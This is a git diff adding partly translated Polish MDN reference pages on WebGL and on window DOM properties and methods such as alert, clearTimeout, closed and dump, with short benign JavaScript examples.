+ prefixed with <span style="color: rgb(34, 34, 34); font-family: courier new,monospace; font-size: 12.66px; line-height: normal; white-space: pre-wrap;">WEBKIT_</span></td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>WEBKIT_EXT_texture_filter_nisotropic</code></td>
+ <td>{{CompatNo}}</td>
+ <td>25</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Compatibility_notes">Compatibility notes</h3>
+
+<p>In addition to the browser, the GPU itself also needs to support the feature. So, for example, S3 Texture Compression (S3TC) is only available on Tegra-based tablets. Most browsers make the WebGL context available through the <code>webgl</code> context name, but older ones need <code>experimental-webgl</code> as well. In addition, the upcoming WebGL 2 is fully backwards-compatible and will have the context name <code>experimental-webgl2</code> in the future for testing.</p>
+
+<h3 id="Gecko_notes">Gecko notes</h3>
+
+<h4 id="WebGL_debugging_and_testing">WebGL debugging and testing</h4>
+
+<p>Starting with Gecko 10.0 {{geckoRelease("10.0")}}, there are two preferences available which let you control the capabilities of WebGL for testing purposes:</p>
+
+<dl>
+ <dt><code>webgl.min_capability_mode</code></dt>
+ <dd>Boolean-owska stała, oznaczająca tryb w którym włączenie jej na true, przyczynia się do włączenia minimum kompatybilności. Kiedy ten tryb jest włączony, WebGL jest skonfigurowany w taki sposób, aby wspomagał w minimalnym zakresie jego możliwości, wymagane przez specyfikacje. Tryb ten zapewnia możliwość pracy kodu WebGL na urządzeniach i przeglądarkach niezależnie od ich kompatybilności. Opcja <code>false</code> jest ustawiona domyślnie.</dd>
+ <dt> </dt>
+ <dt><code>webgl.disable_extensions</code></dt>
+ <dd>Boolean-owska stała, oznaczająca tryb w którym ustawienie jej na true, powoduje zamknięcie wszystkich rozszerzeń WebGL. Wartość <code>false</code> jest ustawiona domyślnie.</dd>
+</dl>
diff --git a/files/pl/web/api/webgl_api/tutorial/index.html b/files/pl/web/api/webgl_api/tutorial/index.html
new file mode 100644
index 0000000000..cecc84cbfe
--- /dev/null
+++ b/files/pl/web/api/webgl_api/tutorial/index.html
@@ -0,0 +1,40 @@
+---
+title: WebGL tutorial
+slug: Web/API/WebGL_API/Tutorial
+tags:
+ - Tutorial
+ - WebGL
+translation_of: Web/API/WebGL_API/Tutorial
+---
+<div>{{WebGLSidebar}}</div>
+
+<div class="summary">
+<p><a class="external" href="http://www.khronos.org/webgl/" title="http://www.khronos.org/webgl/">WebGL</a> enables web content to use an API based on <a class="external" href="http://www.khronos.org/opengles/" title="http://www.khronos.org/opengles/">OpenGL ES</a> 2.0 to perform 3D rendering in an HTML {{HTMLElement("canvas")}} in browsers that support it without the use of plug-ins. WebGL programs consist of control code written in JavaScript and special effects code(shader code) that is executed on a computer's Graphics Processing Unit (GPU). WebGL elements can be mixed with other HTML elements and composited with other parts of the page or page background.</p>
+</div>
+
+<p><span class="seoSummary">This tutorial describes how to use the <code>&lt;canvas&gt;</code> element to draw WebGL graphics, starting with the basics. The examples provided should give you some clear ideas what you can do with WebGL and will provide code snippets that may get you started in building your own content.</span></p>
+
+<h2 id="Before_you_start">Before you start</h2>
+
+<p>Using the <code>&lt;canvas&gt;</code> element is not very difficult, but you do need a basic understanding of <a href="/en-US/docs/Web/HTML" title="HTML">HTML</a> and <a href="/en-US/docs/Web/JavaScript" title="JavaScript">JavaScript</a>. The <code>&lt;canvas&gt;</code> element and WebGL are not supported in some older browsers, but are supported in recent versions of all major browsers. In order to draw graphics on the canvas we use a JavaScript context object, which creates graphics on the fly.</p>
+
+<h2 id="In_this_tutorial">In this tutorial</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL">Getting started with WebGL</a></dt>
+ <dd>How to set up a WebGL context.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context">Adding 2D content to a WebGL context</a></dt>
+ <dd>How to render simple flat shapes using WebGL.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL">Using shaders to apply color in WebGL</a></dt>
+ <dd>Demonstrates how to add color to shapes using shaders.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL">Animating objects with WebGL</a></dt>
+ <dd>Shows how to rotate and translate objects to create simple animations.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL">Creating 3D objects using WebGL</a></dt>
+ <dd>Shows how to create and animate a 3D object (in this case, a cube).</dd>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL">Using textures in WebGL</a></dt>
+ <dd>Demonstrates how to map textures onto the faces of an object.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Lighting_in_WebGL">Lighting in WebGL</a></dt>
+ <dd>How to simulate lighting effects in your WebGL context.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Animating_textures_in_WebGL">Animating textures in WebGL</a></dt>
+ <dd>Shows how to animate textures; in this case, by mapping an Ogg video onto the faces of a rotating cube.</dd>
+</dl>
diff --git a/files/pl/web/api/window/alert/index.html b/files/pl/web/api/window/alert/index.html
new file mode 100644
index 0000000000..786efd57a3
--- /dev/null
+++ b/files/pl/web/api/window/alert/index.html
@@ -0,0 +1,58 @@
+---
+title: window.alert
+slug: Web/API/Window/alert
+tags:
+ - DOM
+ - DOM_0
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Window/alert
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>Wyświetla okno ostrzegawcze z podanym tekstem.</p>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval">window.alert(<em>wiadomość</em>);
+</pre>
+
+<ul>
+ <li><code>wiadomość</code> to ciąg znaków, który zostanie wyświetlony w oknie.</li>
+</ul>
+
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+
+<pre class="eval">window.alert("Hello world!");
+// "window." prefix <a href="pl/DOM/window.window">jest opcjonalny</a>, więc
+// alert("Hello world!"); będzie miało taki sam efekt
+</pre>
+
+<p>Wyświetli:</p>
+
+<p><img alt="Grafika:AlertHelloWorld.png"></p>
+
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+
+<p>Okno ostrzegawcze powinno być używane do przekazania wiadomości, które nie wymagają żadnej odpowiedzi ze strony użytkownika, poza potwierdzeniem komunikatu.</p>
+
+<p><span class="comment">The following text is shared between this article, DOM:window.prompt and DOM:window.confirm</span> Okna dialogowe to okna modalne - uniemożliwiają użytkownikowi dostęp do reszty interfejsu programu dopóki okno nie zostanie zamknięte. Z tego powodu nie powinieneś nadużywać funkcji, które otwierają okna dialogowe.</p>
+
+<p>Przy pracy z chrome (np. przy tworzeniu rozszerzenie) zaleca się korzystanie z <a href="pl/NsIPromptService">nsIPromptService</a>.</p>
+
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+
+<p>{{ DOM0() }}</p>
+
+<h3 id="Zobacz_te.C5.BC" name="Zobacz_te.C5.BC">Zobacz też</h3>
+
+<p><a href="pl/DOM/window.confirm">confirm</a>, <a href="pl/DOM/window.prompt">prompt</a></p>
+
+<p>Dla chrome zobacz <a href="pl/NsIPromptService#alert">alert()</a> i <a href="pl/NsIPromptService#alertCheck">alertCheck()</a></p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/DOM/window.alert", "fr": "fr/DOM/window.alert", "ja": "ja/DOM/window.alert" } ) }}</p>
diff --git a/files/pl/web/api/window/applicationcache/index.html b/files/pl/web/api/window/applicationcache/index.html
new file mode 100644
index 0000000000..5f176fa81e
--- /dev/null
+++ b/files/pl/web/api/window/applicationcache/index.html
@@ -0,0 +1,33 @@
+---
+title: Window.applicationCache
+slug: Web/API/Window/applicationCache
+translation_of: Web/API/Window/applicationCache
+---
+<p>{{APIRef}}</p>
+
+<h2 id="Summary" name="Summary">Podsumowanie</h2>
+
+<p>Zwraca referencję do obiektu przetrzymującego <code>cache</code> aplikacji.</p>
+
+<h2 id="Syntax" name="Syntax">Składnia</h2>
+
+<pre class="syntaxbox"><var>cache</var> = window.applicationCache
+</pre>
+
+<h3 id="Parameters" name="Parameters">Parametry</h3>
+
+<ul>
+ <li><code>cache</code> jest obiektem mającym referencję do {{domxref("OfflineResourceList")}}.</li>
+</ul>
+
+<h2 id="Specification" name="Specification">Specyfikacja</h2>
+
+<ul>
+ <li>{{spec("http://www.w3.org/TR/2008/WD-html5-20080122/#appcache","HTML 5","WD")}}</li>
+</ul>
+
+<h2 id="Zobacz_także">Zobacz także</h2>
+
+<ul>
+ <li><a href="/en-US/docs/HTML/Using_the_application_cache">Using Application Cache</a></li>
+</ul>
diff --git a/files/pl/web/api/window/clearinterval/index.html b/files/pl/web/api/window/clearinterval/index.html
new file mode 100644
index 0000000000..e763be1f4a
--- /dev/null
+++ b/files/pl/web/api/window/clearinterval/index.html
@@ -0,0 +1,28 @@
+---
+title: window.clearInterval
+slug: Web/API/Window/clearInterval
+tags:
+ - Window
+translation_of: Web/API/WindowOrWorkerGlobalScope/clearInterval
+---
+<div>
+ {{ApiRef}}</div>
+<h2 id="Summary" name="Summary">Podsumowanie</h2>
+<p>Anuluje powtarzającą się akcję, która została utworzona korzystając z <code><a href="/pl/docs/DOM/window.setInterval" title="DOM/window.setInterval">setInterval()</a></code>.</p>
+<h2 id="Syntax" name="Syntax">Składnia</h2>
+<pre class="syntaxbox"><em>window</em>.clearInterval(<em>idInterwalu</em>)
+</pre>
+<p><code>idInterwalu</code> to identyfikator powtarzającej się akcji, która ma zostać anulowana. Ten identyfikator został zwrócony z {{domxref("window.setInterval","setInterval()")}}.</p>
+<h2 id="Example" name="Example">Przykład</h2>
+<p>Zobacz <a href="/pl/docs/DOM/window.setInterval#Przyk.C5.82ad" title="DOM/window.setInterval#Przyk.C5.82ad">przykład z <code>setInterval()</code></a>.</p>
+<h2 id="Specification" name="Specification">Specification</h2>
+<p>{{DOM0}}</p>
+<h2 id="See_also" name="See_also">Zobacz także</h2>
+<ul>
+ <li><a href="/pl/docs/JavaScript/Timers" title="JavaScript/Timers">JavaScript zegary</a></li>
+ <li>{{domxref("window.setTimeout")}}</li>
+ <li>{{domxref("window.setInterval")}}</li>
+ <li>{{domxref("window.clearTimeout")}}</li>
+ <li>{{domxref("window.requestAnimationFrame")}}</li>
+ <li><a href="/pl/docs/JavaScript/Timers/Daemons" title="JavaScript/Timers/Daemons"><em>Daemons</em> zarządzanie</a></li>
+</ul>
diff --git a/files/pl/web/api/window/cleartimeout/index.html b/files/pl/web/api/window/cleartimeout/index.html
new file mode 100644
index 0000000000..64604dc479
--- /dev/null
+++ b/files/pl/web/api/window/cleartimeout/index.html
@@ -0,0 +1,40 @@
+---
+title: window.clearTimeout
+slug: Web/API/Window/clearTimeout
+translation_of: Web/API/WindowOrWorkerGlobalScope/clearTimeout
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Summary" name="Summary">Podsumowanie</h3>
+<p>Usuwa opóźnienie ustanione przez <a href="/en/DOM/window.setTimeout" title="en/DOM/window.setTimeout">window.setTimeout()</a>.</p>
+<h3 id="Syntax" name="Syntax">Składnia</h3>
+<pre class="eval">window.clearTimeout(id)
+</pre>
+<p>gdzie <code>id</code> jest identyfikatorem opóźnienia do usunięcia, który został zwrócony podczas wywołania <a href="/en/DOM/window.setTimeout" title="en/DOM/window.setTimeout">window.setTimeout()</a>.</p>
+<h3 id="Example" name="Example">Przykład</h3>
+<p>Uruchomienie poniższego skryptu w kontekscie strony i pojedyncze kliknięcie spowoduje wyświetlenie wiadomości po jednej sekundzie. Jeżeli użytkownik będzie klikał na stronie przynajmniej raz na sekundę wiadomość nigdy nie zostanie wyświetlona.</p>
+<pre class="eval">var alarm = {
+ remind: function(aMessage) {
+ alert(aMessage);
+ delete this.timeoutID;
+ },
+
+ setup: function() {
+ this.cancel();
+ var self = this;
+ this.timeoutID = window.setTimeout(function(msg) {self.remind(msg);}, 1000, "Wake up!");
+ },
+
+ cancel: function() {
+ if(typeof this.timeoutID == "number") {
+ window.clearTimeout(this.timeoutID);
+ delete this.timeoutID;
+ }
+ }
+};
+window.onclick = function() { alarm.setup() };
+</pre>
+<h3 id="Notes" name="Notes">Uwagi</h3>
+<p>Przekazanie niepoprawnego ID do <code>clearTimeout</code> nie powoduje żadnej akcji (żaden błąd nie jest wyrzucany).</p>
+<h3 id="Specification" name="Specification">Specyfikacja</h3>
+<p>{{ DOM0() }}</p>
+<p>{{ languages( { "en": "en/DOM/window.clearTimeout", "fr": "fr/DOM/window.clearTimeout", "ja": "ja/DOM/window.clearTimeout", "pl": "pl/DOM/window.clearTimeout" } ) }}</p>
diff --git a/files/pl/web/api/window/closed/index.html b/files/pl/web/api/window/closed/index.html
new file mode 100644
index 0000000000..bdffbcd94d
--- /dev/null
+++ b/files/pl/web/api/window/closed/index.html
@@ -0,0 +1,59 @@
+---
+title: window.closed
+slug: Web/API/Window/closed
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Window/closed
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Ta własność oznacza czy dane okno jest zamknięte lub nie.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval">var <var>isClosed</var> = <var>windowRef</var>.closed;
+</pre>
+<p><br>
+ Ta własność jest tylko do odczytu.</p>
+<h3 id="Zwracane_warto.C5.9Bci" name="Zwracane_warto.C5.9Bci">Zwracane wartości</h3>
+<dl>
+ <dt>
+ <code>isClosed</code></dt>
+ <dd>
+ Wartość logiczna. Możliwe wartości:</dd>
+</dl>
+<ul>
+ <li><code>true</code>: Okno zostało zamknięte.</li>
+ <li><code>false</code>: Okno jest otwarte.</li>
+</ul>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3>
+<h4 id="Zmiana_adresu_URL_okna_pierwotnego_z_okna_otworzonego" name="Zmiana_adresu_URL_okna_pierwotnego_z_okna_otworzonego">Zmiana adresu URL okna pierwotnego z okna otworzonego</h4>
+<p>Ten przykład demonstruje w jaki sposób okno otworzone może zmienić adres URL okna, które je otwarło. Przed próbą zmiany adresu URL, sprawdza czy obecne okno posiada okno-rodzica stosując własność <code><a href="pl/DOM/window.opener">window.opener</a></code> oraz czy nie zostało ono zamknięte.</p>
+<pre>// Sprawdza czy okno otwierające istnieje i nie zostało zamknięte
+if (window.opener &amp;&amp; !window.opener.closed) {
+ window.opener.location.href = "http://www.mozilla.org";
+}
+</pre>
+<p>Zauważ, że okno otwierane ma dostęp tylko do okna, które je otworzyło.</p>
+<h4 id="Od.C5.9Bwie.C5.BCanie_uprzednio_otwartego_okna" name="Od.C5.9Bwie.C5.BCanie_uprzednio_otwartego_okna">Odświeżanie uprzednio otwartego okna</h4>
+<p>W tym przykładzie funkcja <code>refreshPopupWindow()</code> wywołuje metodę <code>reload</code> obiektu <code>location</code> otwartego okna, by odświeżyć jego dane. Jeżeli okno nie zostało jeszcze otwarte, bądź użytkownik zamknął je, zostaje utworzone nowe okno.</p>
+<pre>var popupWindow = null;
+
+function refreshPopupWindow() {
+ if (popupWindow &amp;&amp; !popupWindow.closed) {
+ // popupWindow jest otwarte, przeładujmy je
+ popupWindow.location.reload(true);
+ } else {
+ // Otwieramy nowe okno
+ popupWindow = window.open("popup.html","dataWindow");
+ }
+}
+</pre>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p>DOM Level 0. <code>window.closed</code> nie jest częścią żadnej specyfikacji W3C, ani technicznej rekomendacji.</p>
+<h3 id="Dodatkowe_.C5.BAr.C3.B3d.C5.82a" name="Dodatkowe_.C5.BAr.C3.B3d.C5.82a">Dodatkowe źródła</h3>
+<p><a class="external" href="http://msdn.microsoft.com/library/default.asp?url=/workshop/author/dhtml/reference/properties/closed.asp">MSDN window.closed</a></p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/window.closed", "fr": "fr/DOM/window.closed", "ja": "ja/DOM/window.closed" } ) }}</p>
diff --git a/files/pl/web/api/window/content/index.html b/files/pl/web/api/window/content/index.html
new file mode 100644
index 0000000000..66eed370a9
--- /dev/null
+++ b/files/pl/web/api/window/content/index.html
@@ -0,0 +1,43 @@
+---
+title: window.content
+slug: Web/API/Window/content
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Strony_wymagające_dopracowania
+ - Wszystkie_kategorie
+translation_of: Web/API/Window/content
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>Zwraca obiekt <a href="pl/DOM/window">Window</a> dla zawartości głównego okna. This is useful in XUL windows that have a <code>&lt;browser&gt;</code> (or <code>tabbrowser</code> or <code>&lt;iframe&gt;</code>) with <code>type="content-primary"</code> attribute on it - the most famous example is Firefox main window, <code>browser.xul</code>. In such cases, <code>content</code> returns a reference to the <code>Window</code> object for the document currently displayed in the browser. It is a shortcut for <code><var>browserRef</var>.contentWindow</code>.</p>
+
+<p>In unprivileged content (webpages), <code>content</code> is normally equivalent to <a href="pl/DOM/window.top">top</a> (except in the case of a webpage loaded in a sidebar, <code>content</code> still refers to the <code>Window</code> of the currently selected tab).</p>
+
+<p>Some examples use <code>_content</code> instead of <code>content</code>. The former has been deprecated for a long time, and you should use <code>content</code> in the new code.</p>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval">var <var>windowObject</var> = window.content;
+</pre>
+
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+
+<p>Executing the following code in a chrome XUL window with a <code>&lt;browser type="content-primary"/&gt;</code> element in it draws a red border around the first div on the page currently displayed in the browser:</p>
+
+<pre class="eval">content.document.getElementsByTagName("div")[0].style.border = "solid red 1px";
+</pre>
+
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+
+<p>Nie jest częścią żadnej specyfikacji.</p>
+
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+
+<ul>
+ <li><a href="pl/Praca_z_oknami_w_kodzie_chrome">Praca z oknami w kodzie chrome</a></li>
+ <li>When accessing content documents from privileged code, be aware of <a href="pl/XPCNativeWrapper">XPCNativeWrappers</a>.</li>
+</ul>
diff --git a/files/pl/web/api/window/controllers/index.html b/files/pl/web/api/window/controllers/index.html
new file mode 100644
index 0000000000..cdb67298bf
--- /dev/null
+++ b/files/pl/web/api/window/controllers/index.html
@@ -0,0 +1,24 @@
+---
+title: window.controllers
+slug: Web/API/Window/controllers
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Window/controllers
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Zwraca kontrolery XUL okna chrome.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>controllers</i> = window.controllers
+</pre>
+<ul>
+ <li><code>controllers</code> jest obiektem typu <code><a href="pl/XULControllers">XULControllers</a></code> (<code><a href="pl/NsIControllers">nsIControllers</a></code>).</li>
+</ul>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p>XUL-specific. Nie jest częścią specyfikacji.</p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/window.controllers", "ja": "ja/DOM/window.controllers" } ) }}</p>
diff --git a/files/pl/web/api/window/crypto/index.html b/files/pl/web/api/window/crypto/index.html
new file mode 100644
index 0000000000..5d7bac8666
--- /dev/null
+++ b/files/pl/web/api/window/crypto/index.html
@@ -0,0 +1,19 @@
+---
+title: window.crypto
+slug: Web/API/Window/crypto
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Window/crypto
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Zwraca obiekt crypto przeglądarki, który może być wtedy użyty do manipulacji różnymi własnościami zabezpieczeń przeglądarki.</p>
+<p>Zobacz więcej szczegółów o <a href="pl/JavaScript_crypto">JavaScript crypto</a>.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p>DOM Level 0. Nie jest częścią specyfikacji.</p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/window.crypto", "ja": "ja/DOM/window.crypto" } ) }}</p>
diff --git a/files/pl/web/api/window/defaultstatus/index.html b/files/pl/web/api/window/defaultstatus/index.html
new file mode 100644
index 0000000000..f352835233
--- /dev/null
+++ b/files/pl/web/api/window/defaultstatus/index.html
@@ -0,0 +1,35 @@
+---
+title: window.defaultStatus
+slug: Web/API/Window/defaultStatus
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Window/defaultStatus
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Pobiera/ustawia tekst paska stanu dla danego okna.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>sMsg</i> = window.defaultStatus
+window.defaultStatus =<i>sMsg</i>
+</pre>
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+<ul>
+ <li><code>sMsg</code> jest łańcuchem znaków zawierającym tekst, który ma zostać wyświetlony domyślnie na pasku stanu.</li>
+</ul>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre>&lt;html&gt;
+ &lt;body onload="window.defaultStatus='hello!';"/&gt;
+ &lt;button onclick="window.confirm('Czy jesteś pewien, że chcesz wyjść?');"&gt;confirm&lt;/button&gt;
+ &lt;/body&gt;
+&lt;/htm&gt;
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Aby ustawić zawartość paska stanu, gdy okno zostało już otwarte, możemy użyć <code><a href="pl/Dokumentacja_Gecko_DOM/window/status">window.status</a></code>.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p>DOM Level 0. Nie jest częścią specyfikacji.</p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/window.defaultStatus", "ja": "ja/DOM/window.defaultStatus" } ) }}</p>
diff --git a/files/pl/web/api/window/directories/index.html b/files/pl/web/api/window/directories/index.html
new file mode 100644
index 0000000000..7c4e113760
--- /dev/null
+++ b/files/pl/web/api/window/directories/index.html
@@ -0,0 +1,33 @@
+---
+title: window.directories
+slug: Web/API/Window/directories
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Window/directories
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Zwraca obiekt paska adresu okna.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>dirBar</i> = window.directories
+</pre>
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+<p>
+ <i>
+ dirBar</i>
+ jest obiektem typu <code>barProp</code>.</p>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre>&lt;script&gt;
+ function dirs() {
+ alert(window.directories);
+ }
+&lt;/script&gt;
+</pre>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p>DOM Level 0. Nie jest częścią specyfikacji.</p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/window.directories", "ja": "ja/DOM/window.directories" } ) }}</p>
diff --git a/files/pl/web/api/window/document/index.html b/files/pl/web/api/window/document/index.html
new file mode 100644
index 0000000000..296c81af50
--- /dev/null
+++ b/files/pl/web/api/window/document/index.html
@@ -0,0 +1,40 @@
+---
+title: window.document
+slug: Web/API/Window/document
+tags:
+ - DOM
+ - DOM_0
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Window/document
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Zwraca referencję do dokumentu zawartego w oknie.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>doc</i> = window.document
+</pre>
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+<ul>
+ <li><code>doc</code> jest referencją do obiektu <code><a href="pl/DOM/document">document</a></code>.</li>
+</ul>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre>&lt;html&gt;
+&lt;head&gt;
+ &lt;title&gt;Witaj, Świecie!&lt;/title&gt;
+&lt;/head&gt;
+&lt;body&gt;
+
+&lt;script type="text/javascript"&gt;
+ var doc = window.document;
+ alert( doc.title); // wyświetli: Witaj, Świecie!
+&lt;/script&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p>{{ DOM0() }}</p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/window.document", "fr": "fr/DOM/window.document", "ja": "ja/DOM/window.document" } ) }}</p>
diff --git a/files/pl/web/api/window/dump/index.html b/files/pl/web/api/window/dump/index.html
new file mode 100644
index 0000000000..f0ddb923c3
--- /dev/null
+++ b/files/pl/web/api/window/dump/index.html
@@ -0,0 +1,30 @@
+---
+title: window.dump
+slug: Web/API/Window/dump
+tags:
+ - DOM
+ - DOM_0
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Window/dump
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Wypisuje wiadomość w konsoli.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval">dump(<i>wiadomość</i>);
+</pre>
+<ul>
+ <li><code>wiadomość</code> to ciąg znaków do wypisania.</li>
+</ul>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p><code>dump</code> jest często używany do debugowania JavaScriptu. W uprzywilejowanym kodzie można użyć także <a href="pl/Components.utils.reportError">Components.utils.reportError</a> oraz <a href="pl/NsIConsoleService">nsIConsoleService</a> do zapisu w <a href="pl/Konsola_b%c5%82%c4%99d%c3%b3w">konsoli błędów</a>.</p>
+<p>W <a href="pl/Gecko">Gecko</a> <code>dump</code> jest domyślnie zablokowane - jego użycie nic nie powoduje, nie wywołuje też żadnego błędu. Aby zobaczyć wyjście metody <code>dump</code>, musisz włączyć ją, zmieniając preferencję <code>browser.dom.window.dump.enabled</code> na <code>true</code>. Możesz to zrobić za pomocą <a class="external" href="http://kb.mozillazine.org/About:config">about:config</a> lub <a class="external" href="http://kb.mozillazine.org/User.js_file">pliku user.js</a></p>
+<p>Żeby cokolwiek zobaczyć, będziesz potrzebował konsoli. Jeśli jeszcze jej nie masz, zamknięcie programu i wywołanie z parametrem &lt;tt&gt;-console&lt;/tt&gt; w linii poleceń powinno otworzyć konsolę.</p>
+<p><code>dump</code> jest też dostępny dla komponentów XPCOM implementowanych w JavaScript, mimo że w ich kontekście <a href="pl/DOM/window">window</a> nie jest obiektem globalnym.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p>{{ DOM0() }}</p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/window.dump", "fr": "fr/DOM/window.dump", "ja": "ja/DOM/window.dump" } ) }}</p>
diff --git a/files/pl/web/api/window/focus/index.html b/files/pl/web/api/window/focus/index.html
new file mode 100644
index 0000000000..35cb33dbc4
--- /dev/null
+++ b/files/pl/web/api/window/focus/index.html
@@ -0,0 +1,24 @@
+---
+title: window.focus
+slug: Web/API/Window/focus
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Window/focus
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Ustawia okno jako aktywne.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval">window.focus()
+</pre>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre class="eval">if (clicked) { window.focus(); }
+</pre>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p>DOM poziom 0. Nie jest częścią specyfikacji.</p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/window.focus", "ja": "ja/DOM/window.focus" } ) }}</p>
diff --git a/files/pl/web/api/window/frameelement/index.html b/files/pl/web/api/window/frameelement/index.html
new file mode 100644
index 0000000000..773e7d37e2
--- /dev/null
